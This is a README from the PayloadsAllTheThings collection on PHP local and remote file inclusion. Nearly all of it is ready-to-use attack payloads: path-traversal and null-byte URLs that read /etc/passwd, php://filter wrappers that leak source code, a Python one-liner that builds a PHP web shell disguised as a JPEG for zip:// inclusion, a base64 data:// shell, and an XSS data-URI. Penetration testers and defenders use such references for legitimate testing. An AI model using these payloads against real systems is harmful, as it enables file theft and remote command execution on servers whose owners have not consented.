PayloadsAllTheThings/PHP include/README.md

Local/Remote File Inclusion

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

Exploit

Basic LFI (null byte and double encoding)

http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f

LFI Wrapper rot13 and base64

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

LFI Wrapper zip

os.system("echo \"</pre><?php system($_GET['cmd']); ?></pre>\" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php")
				
http://example.com/index.php?page=zip://shell.jpg%23payload.php

RFI Wrapper with "" payload

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

XSS via RFI/LFI with "<<svg<>svg onload=alert(1)>" payload

http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Thanks to

• https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion